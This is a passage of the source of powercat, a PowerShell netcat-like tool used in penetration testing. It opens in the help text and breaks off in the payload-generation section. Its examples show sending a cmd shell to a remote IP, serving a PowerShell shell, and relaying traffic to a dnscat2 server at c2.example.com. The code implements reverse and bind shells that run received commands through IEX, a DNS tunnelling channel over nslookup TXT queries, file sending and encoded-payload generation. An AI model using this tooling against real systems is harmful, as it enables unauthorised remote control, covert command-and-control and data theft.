-ge Generate Encoded Payload. Does the same as -g, but returns a string which
can be executed in this way: powershell -E <encoded string>
-h Print this help message.
Examples:
Listen on port 8000 and print the output to the console.
powercat -l -p 8000
Connect to 10.1.1.1 port 443, send a shell, and enable verbosity.
powercat -c 10.1.1.1 -p 443 -e cmd -v
Connect to the dnscat2 server on c2.example.com, and send dns queries
to the dns server on 10.1.1.1 port 53.
powercat -c 10.1.1.1 -p 53 -dns c2.example.com
Send a file to 10.1.1.15 port 8000.
powercat -c 10.1.1.15 -p 8000 -i C:\inputfile
Write the data sent to the local listener on port 4444 to C:\outfile
powercat -l -p 4444 -of C:\outfile
Listen on port 8000 and repeatedly server a powershell shell.
powercat -l -p 8000 -ep -rep
Relay traffic coming in on port 8000 over tcp to port 9000 on 10.1.1.1 over tcp.
powercat -l -p 8000 -r tcp:10.1.1.1:9000
Relay traffic coming in on port 8000 over tcp to the dnscat2 server on c2.example.com,
sending queries to 10.1.1.1 port 53.
powercat -l -p 8000 -r dns:10.1.1.1:53:c2.example.com
"
if($h){return $Help}
############### HELP ###############
############### VALIDATE ARGS ###############
$global:Verbose = $Verbose
if($of -ne ''){$o = 'Bytes'}
if($dns -eq "")
{
if((($c -eq "") -and (!$l)) -or (($c -ne "") -and $l)){return "You must select either client mode (-c) or listen mode (-l)."}
if($p -eq ""){return "Please provide a port number to -p."}
}
if(((($r -ne "") -and ($e -ne "")) -or (($e -ne "") -and ($ep))) -or (($r -ne "") -and ($ep))){return "You can only pick one of these: -e, -ep, -r"}
if(($i -ne $null) -and (($r -ne "") -or ($e -ne ""))){return "-i is not applicable here."}
if($l)
{
$Failure = $False
netstat -na | Select-String LISTENING | % {if(($_.ToString().split(":")[1].split(" ")[0]) -eq $p){Write-Output ("The selected port " + $p + " is already in use.") ; $Failure=$True}}
if($Failure){break}
}
if($r -ne "")
{
if($r.split(":").Count -eq 2)
{
$Failure = $False
netstat -na | Select-String LISTENING | % {if(($_.ToString().split(":")[1].split(" ")[0]) -eq $r.split(":")[1]){Write-Output ("The selected port " + $r.split(":")[1] + " is already in use.") ; $Failure=$True}}
if($Failure){break}
}
}
############### VALIDATE ARGS ###############
############### UDP FUNCTIONS ###############
function Setup_UDP
{
param($FuncSetupVars)
if($global:Verbose){$Verbose = $True}
$c,$l,$p,$t = $FuncSetupVars
$FuncVars = @{}
$FuncVars["Encoding"] = New-Object System.Text.AsciiEncoding
if($l)
{
$SocketDestinationBuffer = New-Object System.Byte[] 65536
$EndPoint = New-Object System.Net.IPEndPoint ([System.Net.IPAddress]::Any), $p
$FuncVars["Socket"] = New-Object System.Net.Sockets.UDPClient $p
$PacketInfo = New-Object System.Net.Sockets.IPPacketInformation
Write-Verbose ("Listening on [0.0.0.0] port " + $p + " [udp]")
$ConnectHandle = $FuncVars["Socket"].Client.BeginReceiveMessageFrom($SocketDestinationBuffer,0,65536,[System.Net.Sockets.SocketFlags]::None,[ref]$EndPoint,$null,$null)
$Stopwatch = [System.Diagnostics.Stopwatch]::StartNew()
while($True)
{
if($Host.UI.RawUI.KeyAvailable)
{
if(@(17,27) -contains ($Host.UI.RawUI.ReadKey("NoEcho,IncludeKeyDown").VirtualKeyCode))
{
Write-Verbose "CTRL or ESC caught. Stopping UDP Setup..."
$FuncVars["Socket"].Close()
$Stopwatch.Stop()
break
}
}
if($Stopwatch.Elapsed.TotalSeconds -gt $t)
{
$FuncVars["Socket"].Close()
$Stopwatch.Stop()
Write-Verbose "Timeout!" ; break
}
if($ConnectHandle.IsCompleted)
{
$SocketBytesRead = $FuncVars["Socket"].Client.EndReceiveMessageFrom($ConnectHandle,[ref]([System.Net.Sockets.SocketFlags]::None),[ref]$EndPoint,[ref]$PacketInfo)
Write-Verbose ("Connection from [" + $EndPoint.Address.IPAddressToString + "] port " + $p + " [udp] accepted (source port " + $EndPoint.Port + ")")
if($SocketBytesRead -gt 0){break}
else{break}
}
}
$Stopwatch.Stop()
$FuncVars["InitialConnectionBytes"] = $SocketDestinationBuffer[0..([int]$SocketBytesRead-1)]
}
else
{
if(!$c.Contains("."))
{
$IPList = @()
[System.Net.Dns]::GetHostAddresses($c) | Where-Object {$_.AddressFamily -eq "InterNetwork"} | %{$IPList += $_.IPAddressToString}
Write-Verbose ("Name " + $c + " resolved to address " + $IPList[0])
$EndPoint = New-Object System.Net.IPEndPoint ([System.Net.IPAddress]::Parse($IPList[0])), $p
}
else
{
$EndPoint = New-Object System.Net.IPEndPoint ([System.Net.IPAddress]::Parse($c)), $p
}
$FuncVars["Socket"] = New-Object System.Net.Sockets.UDPClient
$FuncVars["Socket"].Connect($c,$p)
Write-Verbose ("Sending UDP traffic to " + $c + " port " + $p + "...")
Write-Verbose ("UDP: Make sure to send some data so the server can notice you!")
}
$FuncVars["BufferSize"] = 65536
$FuncVars["EndPoint"] = $EndPoint
$FuncVars["StreamDestinationBuffer"] = New-Object System.Byte[] $FuncVars["BufferSize"]
$FuncVars["StreamReadOperation"] = $FuncVars["Socket"].Client.BeginReceiveFrom($FuncVars["StreamDestinationBuffer"],0,$FuncVars["BufferSize"],([System.Net.Sockets.SocketFlags]::None),[ref]$FuncVars["EndPoint"],$null,$null)
return $FuncVars
}
function ReadData_UDP
{
param($FuncVars)
$Data = $null
if($FuncVars["StreamReadOperation"].IsCompleted)
{
$StreamBytesRead = $FuncVars["Socket"].Client.EndReceiveFrom($FuncVars["StreamReadOperation"],[ref]$FuncVars["EndPoint"])
if($StreamBytesRead -eq 0){break}
$Data = $FuncVars["StreamDestinationBuffer"][0..([int]$StreamBytesRead-1)]
$FuncVars["StreamReadOperation"] = $FuncVars["Socket"].Client.BeginReceiveFrom($FuncVars["StreamDestinationBuffer"],0,$FuncVars["BufferSize"],([System.Net.Sockets.SocketFlags]::None),[ref]$FuncVars["EndPoint"],$null,$null)
}
return $Data,$FuncVars
}
function WriteData_UDP
{
param($Data,$FuncVars)
$FuncVars["Socket"].Client.SendTo($Data,$FuncVars["EndPoint"]) | Out-Null
return $FuncVars
}
function Close_UDP
{
param($FuncVars)
$FuncVars["Socket"].Close()
}
############### UDP FUNCTIONS ###############
############### DNS FUNCTIONS ###############
function Setup_DNS
{
param($FuncSetupVars)
if($global:Verbose){$Verbose = $True}
function ConvertTo-HexArray
{
param($String)
$Hex = @()
$String.ToCharArray() | % {"{0:x}" -f [byte]$_} | % {if($_.Length -eq 1){"0" + [string]$_} else{[string]$_}} | % {$Hex += $_}
return $Hex
}
function SendPacket
{
param($Packet,$DNSServer,$DNSPort)
$Command = ("set type=TXT`nserver $DNSServer`nset port=$DNSPort`nset domain=.com`nset retry=1`n" + $Packet + "`nexit")
$result = ($Command | nslookup 2>&1 | Out-String)
if($result.Contains('"')){return ([regex]::Match($result.replace("bio=",""),'(?<=")[^"]*(?=")').Value)}
else{return 1}
}
function Create_SYN
{
param($SessionId,$SeqNum,$Tag,$Domain)
return ($Tag + ([string](Get-Random -Maximum 9999 -Minimum 1000)) + "00" + $SessionId + $SeqNum + "0000" + $Domain)
}
function Create_FIN
{
param($SessionId,$Tag,$Domain)
return ($Tag + ([string](Get-Random -Maximum 9999 -Minimum 1000)) + "02" + $SessionId + "00" + $Domain)
}
function Create_MSG
{
param($SessionId,$SeqNum,$AcknowledgementNumber,$Data,$Tag,$Domain)
return ($Tag + ([string](Get-Random -Maximum 9999 -Minimum 1000)) + "01" + $SessionId + $SeqNum + $AcknowledgementNumber + $Data + $Domain)
}
function DecodePacket
{
param($Packet)
if((($Packet.Length)%2 -eq 1) -or ($Packet.Length -eq 0)){return 1}
$AcknowledgementNumber = ($Packet[10..13] -join "")
$SeqNum = ($Packet[14..17] -join "")
[byte[]]$ReturningData = @()
if($Packet.Length -gt 18)
{
$PacketElim = $Packet.Substring(18)
while($PacketElim.Length -gt 0)
{
$ReturningData += [byte[]][Convert]::ToInt16(($PacketElim[0..1] -join ""),16)
$PacketElim = $PacketElim.Substring(2)
}
}
return $Packet,$ReturningData,$AcknowledgementNumber,$SeqNum
}
function AcknowledgeData
{
param($ReturningData,$AcknowledgementNumber)
$Hex = [string]("{0:x}" -f (([uint16]("0x" + $AcknowledgementNumber) + $ReturningData.Length) % 65535))
if($Hex.Length -ne 4){$Hex = (("0"*(4-$Hex.Length)) + $Hex)}
return $Hex
}
$FuncVars = @{}
$FuncVars["DNSServer"],$FuncVars["DNSPort"],$FuncVars["Domain"],$FuncVars["FailureThreshold"] = $FuncSetupVars
if($FuncVars["DNSPort"] -eq ''){$FuncVars["DNSPort"] = "53"}
$FuncVars["Tag"] = ""
$FuncVars["Domain"] = ("." + $FuncVars["Domain"])
$FuncVars["Create_SYN"] = ${function:Create_SYN}
$FuncVars["Create_MSG"] = ${function:Create_MSG}
$FuncVars["Create_FIN"] = ${function:Create_FIN}
$FuncVars["DecodePacket"] = ${function:DecodePacket}
$FuncVars["ConvertTo-HexArray"] = ${function:ConvertTo-HexArray}
$FuncVars["AckData"] = ${function:AcknowledgeData}
$FuncVars["SendPacket"] = ${function:SendPacket}
$FuncVars["SessionId"] = ([string](Get-Random -Maximum 9999 -Minimum 1000))
$FuncVars["SeqNum"] = ([string](Get-Random -Maximum 9999 -Minimum 1000))
$FuncVars["Encoding"] = New-Object System.Text.AsciiEncoding
$FuncVars["Failures"] = 0
$SYNPacket = (Invoke-Command $FuncVars["Create_SYN"] -ArgumentList @($FuncVars["SessionId"],$FuncVars["SeqNum"],$FuncVars["Tag"],$FuncVars["Domain"]))
$ResponsePacket = (Invoke-Command $FuncVars["SendPacket"] -ArgumentList @($SYNPacket,$FuncVars["DNSServer"],$FuncVars["DNSPort"]))
$DecodedPacket = (Invoke-Command $FuncVars["DecodePacket"] -ArgumentList @($ResponsePacket))
if($DecodedPacket -eq 1){return "Bad SYN response. Ensure your server is set up correctly."}
$ReturningData = $DecodedPacket[1]
if($ReturningData -ne ""){$FuncVars["InputData"] = ""}
$FuncVars["AckNum"] = $DecodedPacket[2]
$FuncVars["MaxMSGDataSize"] = (244 - (Invoke-Command $FuncVars["Create_MSG"] -ArgumentList @($FuncVars["SessionId"],$FuncVars["SeqNum"],$FuncVars["AckNum"],"",$FuncVars["Tag"],$FuncVars["Domain"])).Length)
if($FuncVars["MaxMSGDataSize"] -le 0){return "Domain name is too long."}
return $FuncVars
}
function ReadData_DNS
{
param($FuncVars)
if($global:Verbose){$Verbose = $True}
$PacketsData = @()
$PacketData = ""
if($FuncVars["InputData"] -ne $null)
{
$Hex = (Invoke-Command $FuncVars["ConvertTo-HexArray"] -ArgumentList @($FuncVars["InputData"]))
$SectionCount = 0
$PacketCount = 0
foreach($Char in $Hex)
{
if($SectionCount -ge 30)
{
$SectionCount = 0
$PacketData += "."
}
if($PacketCount -ge ($FuncVars["MaxMSGDataSize"]))
{
$PacketsData += $PacketData.TrimEnd(".")
$PacketCount = 0
$SectionCount = 0
$PacketData = ""
}
$PacketData += $Char
$SectionCount += 2
$PacketCount += 2
}
$PacketData = $PacketData.TrimEnd(".")
$PacketsData += $PacketData
$FuncVars["InputData"] = ""
}
else
{
$PacketsData = @("")
}
[byte[]]$ReturningData = @()
foreach($PacketData in $PacketsData)
{
try{$MSGPacket = Invoke-Command $FuncVars["Create_MSG"] -ArgumentList @($FuncVars["SessionId"],$FuncVars["SeqNum"],$FuncVars["AckNum"],$PacketData,$FuncVars["Tag"],$FuncVars["Domain"])}
catch{ Write-Verbose "DNSCAT2: Failed to create packet." ; $FuncVars["Failures"] += 1 ; continue }
try{$Packet = (Invoke-Command $FuncVars["SendPacket"] -ArgumentList @($MSGPacket,$FuncVars["DNSServer"],$FuncVars["DNSPort"]))}
catch{ Write-Verbose "DNSCAT2: Failed to send packet." ; $FuncVars["Failures"] += 1 ; continue }
try
{
$DecodedPacket = (Invoke-Command $FuncVars["DecodePacket"] -ArgumentList @($Packet))
if($DecodedPacket.Length -ne 4){ Write-Verbose "DNSCAT2: Failure to decode packet, dropping..."; $FuncVars["Failures"] += 1 ; continue }
$FuncVars["AckNum"] = $DecodedPacket[2]
$FuncVars["SeqNum"] = $DecodedPacket[3]
$ReturningData += $DecodedPacket[1]
}
catch{ Write-Verbose "DNSCAT2: Failure to decode packet, dropping..." ; $FuncVars["Failures"] += 1 ; continue }
if($DecodedPacket -eq 1){ Write-Verbose "DNSCAT2: Failure to decode packet, dropping..." ; $FuncVars["Failures"] += 1 ; continue }
}
if($FuncVars["Failures"] -ge $FuncVars["FailureThreshold"]){break}
if($ReturningData -ne @())
{
$FuncVars["AckNum"] = (Invoke-Command $FuncVars["AckData"] -ArgumentList @($ReturningData,$FuncVars["AckNum"]))
}
return $ReturningData,$FuncVars
}
function WriteData_DNS
{
param($Data,$FuncVars)
$FuncVars["InputData"] = $FuncVars["Encoding"].GetString($Data)
return $FuncVars
}
function Close_DNS
{
param($FuncVars)
$FINPacket = Invoke-Command $FuncVars["Create_FIN"] -ArgumentList @($FuncVars["SessionId"],$FuncVars["Tag"],$FuncVars["Domain"])
Invoke-Command $FuncVars["SendPacket"] -ArgumentList @($FINPacket,$FuncVars["DNSServer"],$FuncVars["DNSPort"]) | Out-Null
}
############### DNS FUNCTIONS ###############
########## TCP FUNCTIONS ##########
function Setup_TCP
{
param($FuncSetupVars)
$c,$l,$p,$t = $FuncSetupVars
if($global:Verbose){$Verbose = $True}
$FuncVars = @{}
if(!$l)
{
$FuncVars["l"] = $False
$Socket = New-Object System.Net.Sockets.TcpClient
Write-Verbose "Connecting..."
$Handle = $Socket.BeginConnect($c,$p,$null,$null)
}
else
{
$FuncVars["l"] = $True
Write-Verbose ("Listening on [0.0.0.0] (port " + $p + ")")
$Socket = New-Object System.Net.Sockets.TcpListener $p
$Socket.Start()
$Handle = $Socket.BeginAcceptTcpClient($null, $null)
}
$Stopwatch = [System.Diagnostics.Stopwatch]::StartNew()
while($True)
{
if($Host.UI.RawUI.KeyAvailable)
{
if(@(17,27) -contains ($Host.UI.RawUI.ReadKey("NoEcho,IncludeKeyDown").VirtualKeyCode))
{
Write-Verbose "CTRL or ESC caught. Stopping TCP Setup..."
if($FuncVars["l"]){$Socket.Stop()}
else{$Socket.Close()}
$Stopwatch.Stop()
break
}
}
if($Stopwatch.Elapsed.TotalSeconds -gt $t)
{
if(!$l){$Socket.Close()}
else{$Socket.Stop()}
$Stopwatch.Stop()
Write-Verbose "Timeout!" ; break
break
}
if($Handle.IsCompleted)
{
if(!$l)
{
try
{
$Socket.EndConnect($Handle)
$Stream = $Socket.GetStream()
$BufferSize = $Socket.ReceiveBufferSize
Write-Verbose ("Connection to " + $c + ":" + $p + " [tcp] succeeded!")
}
catch{$Socket.Close(); $Stopwatch.Stop(); break}
}
else
{
$Client = $Socket.EndAcceptTcpClient($Handle)
$Stream = $Client.GetStream()
$BufferSize = $Client.ReceiveBufferSize
Write-Verbose ("Connection from [" + $Client.Client.RemoteEndPoint.Address.IPAddressToString + "] port " + $port + " [tcp] accepted (source port " + $Client.Client.RemoteEndPoint.Port + ")")
}
break
}
}
$Stopwatch.Stop()
if($Socket -eq $null){break}
$FuncVars["Stream"] = $Stream
$FuncVars["Socket"] = $Socket
$FuncVars["BufferSize"] = $BufferSize
$FuncVars["StreamDestinationBuffer"] = (New-Object System.Byte[] $FuncVars["BufferSize"])
$FuncVars["StreamReadOperation"] = $FuncVars["Stream"].BeginRead($FuncVars["StreamDestinationBuffer"], 0, $FuncVars["BufferSize"], $null, $null)
$FuncVars["Encoding"] = New-Object System.Text.AsciiEncoding
$FuncVars["StreamBytesRead"] = 1
return $FuncVars
}
function ReadData_TCP
{
param($FuncVars)
$Data = $null
if($FuncVars["StreamBytesRead"] -eq 0){break}
if($FuncVars["StreamReadOperation"].IsCompleted)
{
$StreamBytesRead = $FuncVars["Stream"].EndRead($FuncVars["StreamReadOperation"])
if($StreamBytesRead -eq 0){break}
$Data = $FuncVars["StreamDestinationBuffer"][0..([int]$StreamBytesRead-1)]
$FuncVars["StreamReadOperation"] = $FuncVars["Stream"].BeginRead($FuncVars["StreamDestinationBuffer"], 0, $FuncVars["BufferSize"], $null, $null)
}
return $Data,$FuncVars
}
function WriteData_TCP
{
param($Data,$FuncVars)
$FuncVars["Stream"].Write($Data, 0, $Data.Length)
return $FuncVars
}
function Close_TCP
{
param($FuncVars)
try{$FuncVars["Stream"].Close()}
catch{}
if($FuncVars["l"]){$FuncVars["Socket"].Stop()}
else{$FuncVars["Socket"].Close()}
}
########## TCP FUNCTIONS ##########
########## CMD FUNCTIONS ##########
function Setup_CMD
{
param($FuncSetupVars)
if($global:Verbose){$Verbose = $True}
$FuncVars = @{}
$ProcessStartInfo = New-Object System.Diagnostics.ProcessStartInfo
$ProcessStartInfo.FileName = $FuncSetupVars[0]
$ProcessStartInfo.UseShellExecute = $False
$ProcessStartInfo.RedirectStandardInput = $True
$ProcessStartInfo.RedirectStandardOutput = $True
$ProcessStartInfo.RedirectStandardError = $True
$FuncVars["Process"] = [System.Diagnostics.Process]::Start($ProcessStartInfo)
Write-Verbose ("Starting Process " + $FuncSetupVars[0] + "...")
$FuncVars["Process"].Start() | Out-Null
$FuncVars["StdOutDestinationBuffer"] = New-Object System.Byte[] 65536
$FuncVars["StdOutReadOperation"] = $FuncVars["Process"].StandardOutput.BaseStream.BeginRead($FuncVars["StdOutDestinationBuffer"], 0, 65536, $null, $null)
$FuncVars["StdErrDestinationBuffer"] = New-Object System.Byte[] 65536
$FuncVars["StdErrReadOperation"] = $FuncVars["Process"].StandardError.BaseStream.BeginRead($FuncVars["StdErrDestinationBuffer"], 0, 65536, $null, $null)
$FuncVars["Encoding"] = New-Object System.Text.AsciiEncoding
return $FuncVars
}
function ReadData_CMD
{
param($FuncVars)
[byte[]]$Data = @()
if($FuncVars["StdOutReadOperation"].IsCompleted)
{
$StdOutBytesRead = $FuncVars["Process"].StandardOutput.BaseStream.EndRead($FuncVars["StdOutReadOperation"])
if($StdOutBytesRead -eq 0){break}
$Data += $FuncVars["StdOutDestinationBuffer"][0..([int]$StdOutBytesRead-1)]
$FuncVars["StdOutReadOperation"] = $FuncVars["Process"].StandardOutput.BaseStream.BeginRead($FuncVars["StdOutDestinationBuffer"], 0, 65536, $null, $null)
}
if($FuncVars["StdErrReadOperation"].IsCompleted)
{
$StdErrBytesRead = $FuncVars["Process"].StandardError.BaseStream.EndRead($FuncVars["StdErrReadOperation"])
if($StdErrBytesRead -eq 0){break}
$Data += $FuncVars["StdErrDestinationBuffer"][0..([int]$StdErrBytesRead-1)]
$FuncVars["StdErrReadOperation"] = $FuncVars["Process"].StandardError.BaseStream.BeginRead($FuncVars["StdErrDestinationBuffer"], 0, 65536, $null, $null)
}
return $Data,$FuncVars
}
function WriteData_CMD
{
param($Data,$FuncVars)
$FuncVars["Process"].StandardInput.WriteLine($FuncVars["Encoding"].GetString($Data).TrimEnd("`r").TrimEnd("`n"))
return $FuncVars
}
function Close_CMD
{
param($FuncVars)
$FuncVars["Process"] | Stop-Process
}
########## CMD FUNCTIONS ##########
########## POWERSHELL FUNCTIONS ##########
function Main_Powershell
{
param($Stream1SetupVars)
try
{
$encoding = New-Object System.Text.AsciiEncoding
[byte[]]$InputToWrite = @()
if($i -ne $null)
{
Write-Verbose "Input from -i detected..."
if(Test-Path $i){ [byte[]]$InputToWrite = ([io.file]::ReadAllBytes($i)) }
elseif($i.GetType().Name -eq "Byte[]"){ [byte[]]$InputToWrite = $i }
elseif($i.GetType().Name -eq "String"){ [byte[]]$InputToWrite = $Encoding.GetBytes($i) }
else{Write-Host "Unrecognised input type." ; return}
}
Write-Verbose "Setting up Stream 1... (ESC/CTRL to exit)"
try{$Stream1Vars = Stream1_Setup $Stream1SetupVars}
catch{Write-Verbose "Stream 1 Setup Failure" ; return}
Write-Verbose "Setting up Stream 2... (ESC/CTRL to exit)"
try
{
$IntroPrompt = $Encoding.GetBytes("Windows PowerShell`nCopyright (C) 2013 Microsoft Corporation. All rights reserved.`n`n" + ("PS " + (pwd).Path + "> "))
$Prompt = ("PS " + (pwd).Path + "> ")
$CommandToExecute = ""
$Data = $null
}
catch
{
Write-Verbose "Stream 2 Setup Failure" ; return
}
if($InputToWrite -ne @())
{
Write-Verbose "Writing input to Stream 1..."
try{$Stream1Vars = Stream1_WriteData $InputToWrite $Stream1Vars}
catch{Write-Host "Failed to write input to Stream 1" ; return}
}
if($d){Write-Verbose "-d (disconnect) Activated. Disconnecting..." ; return}
Write-Verbose "Both Communication Streams Established. Redirecting Data Between Streams..."
while($True)
{
try
{
##### Stream2 Read #####
$Prompt = $null
$ReturnedData = $null
if($CommandToExecute -ne "")
{
try{[byte[]]$ReturnedData = $Encoding.GetBytes((IEX $CommandToExecute 2>&1 | Out-String))}
catch{[byte[]]$ReturnedData = $Encoding.GetBytes(($_ | Out-String))}
$Prompt = $Encoding.GetBytes(("PS " + (pwd).Path + "> "))
}
$Data += $IntroPrompt
$IntroPrompt = $null
$Data += $ReturnedData
$Data += $Prompt
$CommandToExecute = ""
##### Stream2 Read #####
if($Data -ne $null){$Stream1Vars = Stream1_WriteData $Data $Stream1Vars}
$Data = $null
}
catch
{
Write-Verbose "Failed to redirect data from Stream 2 to Stream 1" ; return
}
try
{
$Data,$Stream1Vars = Stream1_ReadData $Stream1Vars
if($Data.Length -eq 0){Start-Sleep -Milliseconds 100}
if($Data -ne $null){$CommandToExecute = $Encoding.GetString($Data)}
$Data = $null
}
catch
{
Write-Verbose "Failed to redirect data from Stream 1 to Stream 2" ; return
}
}
}
finally
{
try
{
Write-Verbose "Closing Stream 1..."
Stream1_Close $Stream1Vars
}
catch
{
Write-Verbose "Failed to close Stream 1"
}
}
}
########## POWERSHELL FUNCTIONS ##########
########## CONSOLE FUNCTIONS ##########
function Setup_Console
{
param($FuncSetupVars)
$FuncVars = @{}
$FuncVars["Encoding"] = New-Object System.Text.AsciiEncoding
$FuncVars["Output"] = $FuncSetupVars[0]
$FuncVars["OutputBytes"] = [byte[]]@()
$FuncVars["OutputString"] = ""
return $FuncVars
}
function ReadData_Console
{
param($FuncVars)
$Data = $null
if($Host.UI.RawUI.KeyAvailable)
{
$Data = $FuncVars["Encoding"].GetBytes((Read-Host) + "`n")
}
return $Data,$FuncVars
}
function WriteData_Console
{
param($Data,$FuncVars)
switch($FuncVars["Output"])
{
"Host" {Write-Host -n $FuncVars["Encoding"].GetString($Data)}
"String" {$FuncVars["OutputString"] += $FuncVars["Encoding"].GetString($Data)}
"Bytes" {$FuncVars["OutputBytes"] += $Data}
}
return $FuncVars
}
function Close_Console
{
param($FuncVars)
if($FuncVars["OutputString"] -ne ""){return $FuncVars["OutputString"]}
elseif($FuncVars["OutputBytes"] -ne @()){return $FuncVars["OutputBytes"]}
return
}
########## CONSOLE FUNCTIONS ##########
########## MAIN FUNCTION ##########
function Main
{
param($Stream1SetupVars,$Stream2SetupVars)
try
{
[byte[]]$InputToWrite = @()
$Encoding = New-Object System.Text.AsciiEncoding
if($i -ne $null)
{
Write-Verbose "Input from -i detected..."
if(Test-Path $i){ [byte[]]$InputToWrite = ([io.file]::ReadAllBytes($i)) }
elseif($i.GetType().Name -eq "Byte[]"){ [byte[]]$InputToWrite = $i }
elseif($i.GetType().Name -eq "String"){ [byte[]]$InputToWrite = $Encoding.GetBytes($i) }
else{Write-Host "Unrecognised input type." ; return}
}
Write-Verbose "Setting up Stream 1..."
try{$Stream1Vars = Stream1_Setup $Stream1SetupVars}
catch{Write-Verbose "Stream 1 Setup Failure" ; return}
Write-Verbose "Setting up Stream 2..."
try{$Stream2Vars = Stream2_Setup $Stream2SetupVars}
catch{Write-Verbose "Stream 2 Setup Failure" ; return}
$Data = $null
if($InputToWrite -ne @())
{
Write-Verbose "Writing input to Stream 1..."
try{$Stream1Vars = Stream1_WriteData $InputToWrite $Stream1Vars}
catch{Write-Host "Failed to write input to Stream 1" ; return}
}
if($d){Write-Verbose "-d (disconnect) Activated. Disconnecting..." ; return}
Write-Verbose "Both Communication Streams Established. Redirecting Data Between Streams..."
while($True)
{
try
{
$Data,$Stream2Vars = Stream2_ReadData $Stream2Vars
if(($Data.Length -eq 0) -or ($Data -eq $null)){Start-Sleep -Milliseconds 100}
if($Data -ne $null){$Stream1Vars = Stream1_WriteData $Data $Stream1Vars}
$Data = $null
}
catch
{
Write-Verbose "Failed to redirect data from Stream 2 to Stream 1" ; return
}
try
{
$Data,$Stream1Vars = Stream1_ReadData $Stream1Vars
if(($Data.Length -eq 0) -or ($Data -eq $null)){Start-Sleep -Milliseconds 100}
if($Data -ne $null){$Stream2Vars = Stream2_WriteData $Data $Stream2Vars}
$Data = $null
}
catch
{
Write-Verbose "Failed to redirect data from Stream 1 to Stream 2" ; return
}
}
}
finally
{
try
{
#Write-Verbose "Closing Stream 2..."
Stream2_Close $Stream2Vars
}
catch
{
Write-Verbose "Failed to close Stream 2"
}
try
{
#Write-Verbose "Closing Stream 1..."
Stream1_Close $Stream1Vars
}
catch
{
Write-Verbose "Failed to close Stream 1"
}
}
}
########## MAIN FUNCTION ##########
########## GENERATE PAYLOAD ##########
if($u)
{
Write-Verbose "Set Stream 1: UDP"
$FunctionString = ("function Stream1_Setup`n{`n" + ${function:Setup_UDP} + "`n}`n`n")
$FunctionString += ("function Stream1_ReadData`n{`n" + ${function:ReadData_UDP} + "`n}`n`n")
$FunctionString += ("function Stream1_WriteData`n{`n" + ${function:WriteData_UDP} + "`n}`n`n")
$FunctionString += ("function Stream1_Close`n{`n" + ${function:Close_UDP} + "`n}`n`n")
if($l){$InvokeString = "Main @('',`$True,'$p','$t') "}
else{$InvokeString = "Main @('$c',`$False,'$p','$t') "}
}
elseif($dns -ne "")
{
Write-Verbose "Set Stream 1: DNS"
$FunctionString = ("function Stream1_Setup`n{`n" + ${function:Setup_DNS} + "`n}`n`n")
$FunctionString += ("function Stream1_ReadData`n{`n" + ${function:ReadData_DNS} + "`n}`n`n")
$FunctionString += ("function Stream1_WriteData`n{`n" + ${function:WriteData_DNS} + "`n}`n`n")
$FunctionString += ("function Stream1_Close`n{`n" + ${function:Close_DNS} + "`n}`n`n")
if($l){return "This feature is not available."}
else{$InvokeString = "Main @('$c','$p','$dns',$dnsft) "}
}
else
{
Write-Verbose "Set Stream 1: TCP"
$FunctionString = ("function Stream1_Setup`n{`n" + ${function:Setup_TCP} + "`n}`n`n")
$FunctionString += ("function Stream1_ReadData`n{`n" + ${function:ReadData_TCP} + "`n}`n`n")
$FunctionString += ("function Stream1_WriteData`n{`n" + ${function:WriteData_TCP} + "`n}`n`n")
$FunctionString += ("function Stream1_Close`n{`n" + ${function:Close_TCP} + "`n}`n`n")
if($l){$InvokeString = "Main @('',`$True,$p,$t) "}
else{$InvokeString = "Main @('$c',`$False,$p,$t) "}
}
if($e -ne "")
{
Write-Verbose "Set Stream 2: Process"
$FunctionString += ("function Stream2_Setup`n{`n" + ${function:Setup_CMD} + "`n}`n`n")
$FunctionString += ("function Stream2_ReadData`n{`n" + ${function:ReadData_CMD} + "`n}`n`n")
$FunctionString += ("function Stream2_WriteData`n{`n" + ${function:WriteData_CMD} + "`n}`n`n")
$FunctionString += ("function Stream2_Close`n{`n" + ${function:Close_CMD} + "`n}`n`n")
$InvokeString += "@('$e')`n`n"
}
elseif($ep)
{
Write-Verbose "Set Stream 2: Powershell"
$InvokeString += "`n`n"
}
elseif($r -ne "")
{
if($r.split(":")[0].ToLower() -eq "udp")
{
Write-Verbose "Set Stream 2: UDP"
$FunctionString += ("function Stream2_Setup`n{`n" + ${function:Setup_UDP} + "`n}`n`n")
$FunctionString += ("function Stream2_ReadData`n{`n" + ${function:ReadData_UDP} + "`n}`n`n")
$FunctionString += ("function Stream2_WriteData`n{`n" + ${function:WriteData_UDP} + "`n}`n`n")
$FunctionString += ("function Stream2_Close`n{`n" + ${function:Close_UDP} + "`n}`n`n")
if($r.split(":").Count -eq 2){$InvokeString += ("@('',`$True,'" + $r.split(":")[1] + "','$t') ")}
elseif($r.split(":").Count -eq 3){$InvokeString += ("@('" + $r.split(":")[1] + "',`$False,'" + $r.split(":")[2] + "','$t') ")}
else{return "Bad relay format."}
}
if($r.split(":")[0].ToLower() -eq "dns")
{
Write-Verbose "Set Stream 2: DNS"
$FunctionString += ("function Stream2_Setup`n{`n" + ${function:Setup_DNS} + "`n}`n`n")
$FunctionString += ("function Stream2_ReadData`n{`n" + ${function:ReadData_DNS} + "`n}`n`n")
$FunctionString += ("function Stream2_WriteData`n{`n" + ${function:WriteData_DNS} + "`n}`n`n")
$FunctionString += ("function Stream2_Close`n{`n" + ${function:Close_DNS} + "`n}`n`n")
if($r.split(":").Count -eq 2){return "This feature is not available."}
elseif($r.split(":").Count -eq 4){$InvokeString += ("@('" + $r.split(":")[1] + "','" + $r.split(":")[2] + "','" + $r.split(":")[3] + "',$dnsft) ")}
else{return "Bad relay format."}
}
elseif($r.split(":")[0].ToLower() -eq "tcp")
{
Write-Verbose "Set Stream 2: TCP"
$FunctionString += ("function Stream2_Setup`n{`n" + ${function:Setup_TCP} + "`n}`n`n")
$FunctionString += ("function Stream2_ReadData`n{`n" + ${function:ReadData_TCP} + "`n}`n`n")
$FunctionString += ("function Stream2_WriteData`n{`n" + ${function:WriteData_TCP} + "`n}`n`n")
$FunctionString += ("function Stream2_Close`n{`n" + ${function:Close_TCP} + "`n}`n`n")
if($r.split(":").Count -eq 2){$InvokeString += ("@('',`$True,'" + $r.split(":")[1] + "','$t') ")}
elseif($r.split(":").Count -eq 3){$InvokeString += ("@('" + $r.split(":")[1] + "',`$False,'" + $r.split(":")[2] + "','$t') ")}
else{return "Bad relay format."}
}
}
else
{
Write-Verbose "Set Stream 2: Console"
$FunctionString += ("function Stream2_Setup`n{`n" + ${function:Setup_Console} + "`n}`n`n")
